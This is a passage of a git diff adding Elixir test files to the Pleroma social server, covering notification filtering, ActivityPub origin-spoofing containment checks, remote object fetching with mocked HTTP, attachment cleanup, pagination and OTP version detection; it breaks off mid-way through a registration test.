+ File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", old_user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock(fn + %{method: :get, url: ^old_user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) + ObanHelpers.perform_all() + + assert [ + %{ + activity: %{ + data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} + } + } + ] = Notification.for_user(follower) + + assert [ + %{ + activity: %{ + data: %{"type" => "Move", "actor" => ^old_ap_id, "target" => ^new_ap_id} + } + } + ] = Notification.for_user(other_follower) + end + end + + describe "for_user" do + setup do + user = insert(:user) + + {:ok, %{user: user}} + end + + test "it returns notifications for muted user without notifications", %{user: user} do + muted = insert(:user) + {:ok, _user_relationships} = User.mute(user, muted, false) + + {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) + + [notification] = Notification.for_user(user) + + assert notification.activity.object + assert notification.seen + end + + test "it doesn't return notifications for muted user with notifications", %{user: user} do + muted = insert(:user) + {:ok, _user_relationships} = User.mute(user, muted) + + {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) + + assert Notification.for_user(user) == [] + end + + test "it doesn't return notifications for blocked user", %{user: user} do + blocked = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked) + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Notification.for_user(user) == [] + end + + test "it doesn't return notifications for domain-blocked non-followed user", %{user: user} do + blocked = insert(:user, ap_id: "http://some-domain.com") + {:ok, user} = User.block_domain(user, "some-domain.com") + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Notification.for_user(user) == [] + end + + test "it returns notifications for domain-blocked but followed user" do + user = insert(:user) + blocked = insert(:user, ap_id: "http://some-domain.com") + + {:ok, user} = User.block_domain(user, "some-domain.com") + {:ok, _} = User.follow(user, blocked) + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert length(Notification.for_user(user)) == 1 + end + + test "it doesn't return notifications for muted thread", %{user: user} do + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) + + {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) + assert Notification.for_user(user) == [] + end + + test "it returns notifications from a muted user when with_muted is set", %{user: user} do + muted = insert(:user) + {:ok, _user_relationships} = User.mute(user, muted) + + {:ok, _activity} = CommonAPI.post(muted, %{status: "hey @#{user.nickname}"}) + + assert length(Notification.for_user(user, %{with_muted: true})) == 1 + end + + test "it doesn't return notifications from a blocked user when with_muted is set", %{ + user: user + } do + blocked = insert(:user) + {:ok, _user_relationship} = User.block(user, blocked) + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) + end + + test "when with_muted is set, " <> + "it doesn't return notifications from a domain-blocked non-followed user", + %{user: user} do + blocked = insert(:user, ap_id: "http://some-domain.com") + {:ok, user} = User.block_domain(user, "some-domain.com") + + {:ok, _activity} = CommonAPI.post(blocked, %{status: "hey @#{user.nickname}"}) + + assert Enum.empty?(Notification.for_user(user, %{with_muted: true})) + end + + test "it returns notifications from muted threads when with_muted is set", %{user: user} do + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(another_user, %{status: "hey @#{user.nickname}"}) + + {:ok, _} = Pleroma.ThreadMute.add_mute(user.id, activity.data["context"]) + assert length(Notification.for_user(user, %{with_muted: true})) == 1 + end + + test "it doesn't return notifications about mentions with filtered word", %{user: user} do + insert(:filter, user: user, phrase: "cofe", hide: true) + another_user = insert(:user) + + {:ok, _activity} = CommonAPI.post(another_user, %{status: "@#{user.nickname} got cofe?"}) + + assert Enum.empty?(Notification.for_user(user)) + end + + test "it returns notifications about mentions with not hidden filtered word", %{user: user} do + insert(:filter, user: user, phrase: "test", hide: false) + another_user = insert(:user) + + {:ok, _} = CommonAPI.post(another_user, %{status: "@#{user.nickname} test"}) + + assert length(Notification.for_user(user)) == 1 + end + + test "it returns notifications about favorites with filtered word", %{user: user} do + insert(:filter, user: user, phrase: "cofe", hide: true) + another_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Give me my cofe!"}) + {:ok, _} = CommonAPI.favorite(another_user, activity.id) + + assert length(Notification.for_user(user)) == 1 + end + end +end diff --git a/test/pleroma/object/containment_test.exs b/test/pleroma/object/containment_test.exs new file mode 100644 index 000000000..90b6dccf2 --- /dev/null +++ b/test/pleroma/object/containment_test.exs @@ -0,0 +1,125 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Object.ContainmentTest do + use Pleroma.DataCase + + alias Pleroma.Object.Containment + alias Pleroma.User + + import Pleroma.Factory + import ExUnit.CaptureLog + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "general origin containment" do + test "works for completely actorless posts" do + assert :error == + Containment.contain_origin("https://glaceon.social/users/monorail", %{ + "deleted" => "2019-10-30T05:48:50.249606Z", + "formerType" => "Note", + "id" => "https://glaceon.social/users/monorail/statuses/103049757364029187", + "type" => "Tombstone" + }) + end + + test "contain_origin_from_id() catches obvious spoofing attempts" do + data = %{ + "id" => "http://example.com/~alyssa/activities/1234.json" + } + + :error = + Containment.contain_origin_from_id( + "http://example.org/~alyssa/activities/1234.json", + data + ) + end + + test "contain_origin_from_id() allows alternate IDs within the same origin domain" do + data = %{ + "id" => "http://example.com/~alyssa/activities/1234.json" + } + + :ok = + Containment.contain_origin_from_id( + "http://example.com/~alyssa/activities/1234", + data + ) + end + + test "contain_origin_from_id() allows matching IDs" do + data = %{ + "id" => "http://example.com/~alyssa/activities/1234.json" + } + + :ok = + Containment.contain_origin_from_id( + "http://example.com/~alyssa/activities/1234.json", + data + ) + end + + test "users cannot be collided through fake direction spoofing attempts" do + _user = + insert(:user, %{ + nickname: "rye@niu.moe", + local: false, + ap_id: "https://niu.moe/users/rye", + follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"}) + }) + + assert capture_log(fn -> + {:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye") + end) =~ + "[error] Could not decode user at fetch https://n1u.moe/users/rye" + end + + test "contain_origin_from_id() gracefully handles cases where no ID is present" do + data = %{ + "type" => "Create", + "object" => %{ + "id" => "http://example.net/~alyssa/activities/1234", + "attributedTo" => "http://example.org/~alyssa" + }, + "actor" => "http://example.com/~bob" + } + + :error = + Containment.contain_origin_from_id("http://example.net/~alyssa/activities/1234", data) + end + end + + describe "containment of children" do + test "contain_child() catches spoofing attempts" do + data = %{ + "id" => "http://example.com/whatever", + "type" => "Create", + "object" => %{ + "id" => "http://example.net/~alyssa/activities/1234", + "attributedTo" => "http://example.org/~alyssa" + }, + "actor" => "http://example.com/~bob" + } + + :error = Containment.contain_child(data) + end + + test "contain_child() allows correct origins" do + data = %{ + "id" => "http://example.org/~alyssa/activities/5678", + "type" => "Create", + "object" => %{ + "id" => "http://example.org/~alyssa/activities/1234", + "attributedTo" => "http://example.org/~alyssa" + }, + "actor" => "http://example.org/~alyssa" + } + + :ok = Containment.contain_child(data) + end + end +end diff --git a/test/pleroma/object/fetcher_test.exs b/test/pleroma/object/fetcher_test.exs new file mode 100644 index 000000000..14d2c645f --- /dev/null +++ b/test/pleroma/object/fetcher_test.exs @@ -0,0 +1,245 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Object.FetcherTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.Object.Fetcher + + import Mock + import Tesla.Mock + + setup do + mock(fn + %{method: :get, url: "https://mastodon.example.org/users/userisgone"} -> + %Tesla.Env{status: 410} + + %{method: :get, url: "https://mastodon.example.org/users/userisgone404"} -> + %Tesla.Env{status: 404} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + :ok + end + + describe "error cases" do + setup do + mock(fn + %{method: :get, url: "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/fetch_mocks/9wTkLEnuq47B25EehM.json") + } + + %{method: :get, url: "https://social.sakamoto.gq/users/eal"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/fetch_mocks/eal.json") + } + + %{method: :get, url: "https://busshi.moe/users/tuxcrafting/statuses/104410921027210069"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/fetch_mocks/104410921027210069.json") + } + + %{method: :get, url: "https://busshi.moe/users/tuxcrafting"} -> + %Tesla.Env{ + status: 500 + } + end) + + :ok + end + + @tag capture_log: true + test "it works when fetching the OP actor errors out" do + # Here we simulate a case where the author of the OP can't be read + assert {:ok, _} = + Fetcher.fetch_object_from_id( + "https://social.sakamoto.gq/notice/9wTkLEnuq47B25EehM" + ) + end + end + + describe "max thread distance restriction" do + @ap_id "http://mastodon.example.org/@admin/99541947525187367" + setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) + + test "it returns thread depth exceeded error if thread depth is exceeded" do + Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + assert {:error, "Max thread distance exceeded."} = + Fetcher.fetch_object_from_id(@ap_id, depth: 1) + end + + test "it fetches object if max thread depth is restricted to 0 and depth is not specified" do + Config.put([:instance, :federation_incoming_replies_max_depth], 0) + + assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id) + end + + test "it fetches object if requested depth does not exceed max thread depth" do + Config.put([:instance, :federation_incoming_replies_max_depth], 10) + + assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id, depth: 10) + end + end + + describe "actor origin containment" do + test "it rejects objects with a bogus origin" do + {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json") + end + + test "it rejects objects when attributedTo is wrong (variant 1)" do + {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json") + end + + test "it rejects objects when attributedTo is wrong (variant 2)" do + {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json") + end + end + + describe "fetching an object" do + test "it fetches an object" do + {:ok, object} = + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + assert activity = Activity.get_create_by_object_ap_id(object.data["id"]) + assert activity.data["id"] + + {:ok, object_again} = + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + assert [attachment] = object.data["attachment"] + assert is_list(attachment["url"]) + + assert object == object_again + end + + test "Return MRF reason when fetched status is rejected by one" do + clear_config([:mrf_keyword, :reject], ["yeah"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + Fetcher.fetch_object_from_id( + "http://mastodon.example.org/@admin/99541947525187367" + ) + end + end + + describe "implementation quirks" do + test "it can fetch plume articles" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + ) + + assert object + end + + test "it can fetch peertube videos" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + assert object + end + + test "it can fetch Mobilizon events" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + ) + + assert object + end + + test "it can fetch wedistribute articles" do + {:ok, object} = + Fetcher.fetch_object_from_id("https://wedistribute.org/wp-json/pterotype/v1/object/85810") + + assert object + end + + test "all objects with fake directions are rejected by the object fetcher" do + assert {:error, _} = + Fetcher.fetch_and_contain_remote_object_from_id( + "https://info.pleroma.site/activity4.json" + ) + end + + test "handle HTTP 410 Gone response" do + assert {:error, "Object has been deleted"} == + Fetcher.fetch_and_contain_remote_object_from_id( + "https://mastodon.example.org/users/userisgone" + ) + end + + test "handle HTTP 404 response" do + assert {:error, "Object has been deleted"} == + Fetcher.fetch_and_contain_remote_object_from_id( + "https://mastodon.example.org/users/userisgone404" + ) + end + + test "it can fetch pleroma polls with attachments" do + {:ok, object} = + Fetcher.fetch_object_from_id("https://patch.cx/objects/tesla_mock/poll_attachment") + + assert object + end + end + + describe "pruning" do + test "it can refetch pruned objects" do + object_id = "http://mastodon.example.org/@admin/99541947525187367" + + {:ok, object} = Fetcher.fetch_object_from_id(object_id) + + assert object + + {:ok, _object} = Object.prune(object) + + refute Object.get_by_ap_id(object_id) + + {:ok, %Object{} = object_two} = Fetcher.fetch_object_from_id(object_id) + + assert object.data["id"] == object_two.data["id"] + assert object.id != object_two.id + end + end + + describe "signed fetches" do + setup do: clear_config([:activitypub, :sign_object_fetches]) + + test_with_mock "it signs fetches when configured to do so", + Pleroma.Signature, + [:passthrough], + [] do + Config.put([:activitypub, :sign_object_fetches], true) + + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + assert called(Pleroma.Signature.sign(:_, :_)) + end + + test_with_mock "it doesn't sign fetches when not configured to do so", + Pleroma.Signature, + [:passthrough], + [] do + Config.put([:activitypub, :sign_object_fetches], false) + + Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") + + refute called(Pleroma.Signature.sign(:_, :_)) + end + end +end diff --git a/test/pleroma/object_test.exs b/test/pleroma/object_test.exs new file mode 100644 index 000000000..198d3b1cf --- /dev/null +++ b/test/pleroma/object_test.exs @@ -0,0 +1,402 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ObjectTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + import ExUnit.CaptureLog + import Pleroma.Factory + import Tesla.Mock + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.Web.CommonAPI + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "returns an object by it's AP id" do + object = insert(:note) + found_object = Object.get_by_ap_id(object.data["id"]) + + assert object == found_object + end + + describe "generic changeset" do + test "it ensures uniqueness of the id" do + object = insert(:note) + cs = Object.change(%Object{}, %{data: %{id: object.data["id"]}}) + assert cs.valid? + + {:error, _result} = Repo.insert(cs) + end + end + + describe "deletion function" do + test "deletes an object" do + object = insert(:note) + found_object = Object.get_by_ap_id(object.data["id"]) + + assert object == found_object + + Object.delete(found_object) + + found_object = Object.get_by_ap_id(object.data["id"]) + + refute object == found_object + + assert found_object.data["type"] == "Tombstone" + end + + test "ensures cache is cleared for the object" do + object = insert(:note) + cached_object = Object.get_cached_by_ap_id(object.data["id"]) + + assert object == cached_object + + Cachex.put(:web_resp_cache, URI.parse(object.data["id"]).path, "cofe") + + Object.delete(cached_object) + + {:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}") + {:ok, nil} = Cachex.get(:web_resp_cache, URI.parse(object.data["id"]).path) + + cached_object = Object.get_cached_by_ap_id(object.data["id"]) + + refute object == cached_object + + assert cached_object.data["type"] == "Tombstone" + end + end + + describe "delete attachments" do + setup do: clear_config([Pleroma.Upload]) + setup do: clear_config([:instance, :cleanup_attachments]) + + test "Disabled via config" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([:instance, :cleanup_attachments], false) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + refute Object.get_by_id(attachment.id) == nil + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + end + + test "in subdirectories" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + + assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") + end + + test "with dedupe enabled" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([Pleroma.Upload, :filters], [Pleroma.Upload.Filter.Dedupe]) + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + File.mkdir_p!(uploads_dir) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + filename = Path.basename(href) + + assert {:ok, files} = File.ls(uploads_dir) + assert filename in files + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + assert {:ok, files} = File.ls(uploads_dir) + refute filename in files + end + + test "with objects that have legacy data.url attribute" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + {:ok, %Object{}} = Object.create(%{url: "https://google.com", actor: user.ap_id}) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + + assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") + end + + test "With custom base_url" do + Pleroma.Config.put([Pleroma.Upload, :uploader], Pleroma.Uploaders.Local) + Pleroma.Config.put([Pleroma.Upload, :base_url], "https://sub.domain.tld/dir/") + Pleroma.Config.put([:instance, :cleanup_attachments], true) + + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + user = insert(:user) + + {:ok, %Object{} = attachment} = + Pleroma.Web.ActivityPub.ActivityPub.upload(file, actor: user.ap_id) + + %{data: %{"attachment" => [%{"url" => [%{"href" => href}]}]}} = + note = insert(:note, %{user: user, data: %{"attachment" => [attachment.data]}}) + + uploads_dir = Pleroma.Config.get!([Pleroma.Uploaders.Local, :uploads]) + + path = href |> Path.dirname() |> Path.basename() + + assert {:ok, ["an_image.jpg"]} == File.ls("#{uploads_dir}/#{path}") + + Object.delete(note) + + ObanHelpers.perform(all_enqueued(worker: Pleroma.Workers.AttachmentsCleanupWorker)) + + assert Object.get_by_id(note.id).data["deleted"] + assert Object.get_by_id(attachment.id) == nil + + assert {:ok, []} == File.ls("#{uploads_dir}/#{path}") + end + end + + describe "normalizer" do + test "fetches unknown objects by default" do + %Object{} = + object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367") + + assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" + end + + test "fetches unknown objects when fetch_remote is explicitly true" do + %Object{} = + object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367", true) + + assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367" + end + + test "does not fetch unknown objects when fetch_remote is false" do + assert is_nil( + Object.normalize("http://mastodon.example.org/@admin/99541947525187367", false) + ) + end + end + + describe "get_by_id_and_maybe_refetch" do + setup do + mock(fn + %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")} + + env -> + apply(HttpRequestMock, :request, [env]) + end) + + mock_modified = fn resp -> + mock(fn + %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} -> + resp + + env -> + apply(HttpRequestMock, :request, [env]) + end) + end + + on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end) + + [mock_modified: mock_modified] + end + + test "refetches if the time since the last refetch is greater than the interval", %{ + mock_modified: mock_modified + } do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + mock_modified.(%Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + }) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 + end + + test "returns the old object if refetch fails", %{mock_modified: mock_modified} do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + assert capture_log(fn -> + mock_modified.(%Tesla.Env{status: 404, body: ""}) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + end) =~ + "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d" + end + + test "does not refetch if the time since the last refetch is greater than the interval", %{ + mock_modified: mock_modified + } do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + mock_modified.(%Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + }) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + end + + test "preserves internal fields on refetch", %{mock_modified: mock_modified} do + %Object{} = + object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d") + + Object.set_cache(object) + + assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4 + assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0 + + user = insert(:user) + activity = Activity.get_create_by_object_ap_id(object.data["id"]) + {:ok, activity} = CommonAPI.favorite(user, activity.id) + object = Object.get_by_ap_id(activity.data["object"]) + + assert object.data["like_count"] == 1 + + mock_modified.(%Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/poll_modified.json") + }) + + updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1) + object_in_cache = Object.get_cached_by_ap_id(object.data["id"]) + assert updated_object == object_in_cache + assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8 + assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3 + + assert updated_object.data["like_count"] == 1 + end + end +end diff --git a/test/pleroma/otp_version_test.exs b/test/pleroma/otp_version_test.exs new file mode 100644 index 000000000..7d2538ec8 --- /dev/null +++ b/test/pleroma/otp_version_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.OTPVersionTest do + use ExUnit.Case, async: true + + alias Pleroma.OTPVersion + + describe "check/1" do + test "22.4" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.4"]) == + "22.4" + end + + test "22.1" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/22.1"]) == + "22.1" + end + + test "21.1" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/21.1"]) == + "21.1" + end + + test "23.0" do + assert OTPVersion.get_version_from_files(["test/fixtures/warnings/otp_version/23.0"]) == + "23.0" + end + + test "with non existance file" do + assert OTPVersion.get_version_from_files([ + "test/fixtures/warnings/otp_version/non-exising", + "test/fixtures/warnings/otp_version/22.4" + ]) == "22.4" + end + + test "empty paths" do + assert OTPVersion.get_version_from_files([]) == nil + end + end +end diff --git a/test/pleroma/pagination_test.exs b/test/pleroma/pagination_test.exs new file mode 100644 index 000000000..e526f23e8 --- /dev/null +++ b/test/pleroma/pagination_test.exs @@ -0,0 +1,92 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.PaginationTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Object + alias Pleroma.Pagination + + describe "keyset" do + setup do + notes = insert_list(5, :note) + + %{notes: notes} + end + + test "paginates by min_id", %{notes: notes} do + id = Enum.at(notes, 2).id |> Integer.to_string() + + %{total: total, items: paginated} = + Pagination.fetch_paginated(Object, %{min_id: id, total: true}) + + assert length(paginated) == 2 + assert total == 5 + end + + test "paginates by since_id", %{notes: notes} do + id = Enum.at(notes, 2).id |> Integer.to_string() + + %{total: total, items: paginated} = + Pagination.fetch_paginated(Object, %{since_id: id, total: true}) + + assert length(paginated) == 2 + assert total == 5 + end + + test "paginates by max_id", %{notes: notes} do + id = Enum.at(notes, 1).id |> Integer.to_string() + + %{total: total, items: paginated} = + Pagination.fetch_paginated(Object, %{max_id: id, total: true}) + + assert length(paginated) == 1 + assert total == 5 + end + + test "paginates by min_id & limit", %{notes: notes} do + id = Enum.at(notes, 2).id |> Integer.to_string() + + paginated = Pagination.fetch_paginated(Object, %{min_id: id, limit: 1}) + + assert length(paginated) == 1 + end + + test "handles id gracefully", %{notes: notes} do + id = Enum.at(notes, 1).id |> Integer.to_string() + + paginated = + Pagination.fetch_paginated(Object, %{ + id: "9s99Hq44Cnv8PKBwWG", + max_id: id, + limit: 20, + offset: 0 + }) + + assert length(paginated) == 1 + end + end + + describe "offset" do + setup do + notes = insert_list(5, :note) + + %{notes: notes} + end + + test "paginates by limit" do + paginated = Pagination.fetch_paginated(Object, %{limit: 2}, :offset) + + assert length(paginated) == 2 + end + + test "paginates by limit & offset" do + paginated = Pagination.fetch_paginated(Object, %{limit: 2, offset: 4}, :offset) + + assert length(paginated) == 1 + end + end +end diff --git a/test/pleroma/registration_test.exs b/test/pleroma/registration_test.exs new file mode 100644 index 000000000..7db8e3664 --- /dev/null +++ b/test/pleroma/registration_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.RegistrationTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Registration + alias Pleroma.Repo + + describe "generic changeset" do + test "requires :provider, :uid" do + registration = build(:registration, provider: nil, uid: nil) + + cs = Registration.changeset(registration, %{}) + refute cs.valid? + + assert [ + provider: {"can't be blank", [validation: :required]}, + uid: {"can't be blank", [validation: :required]} + ] == 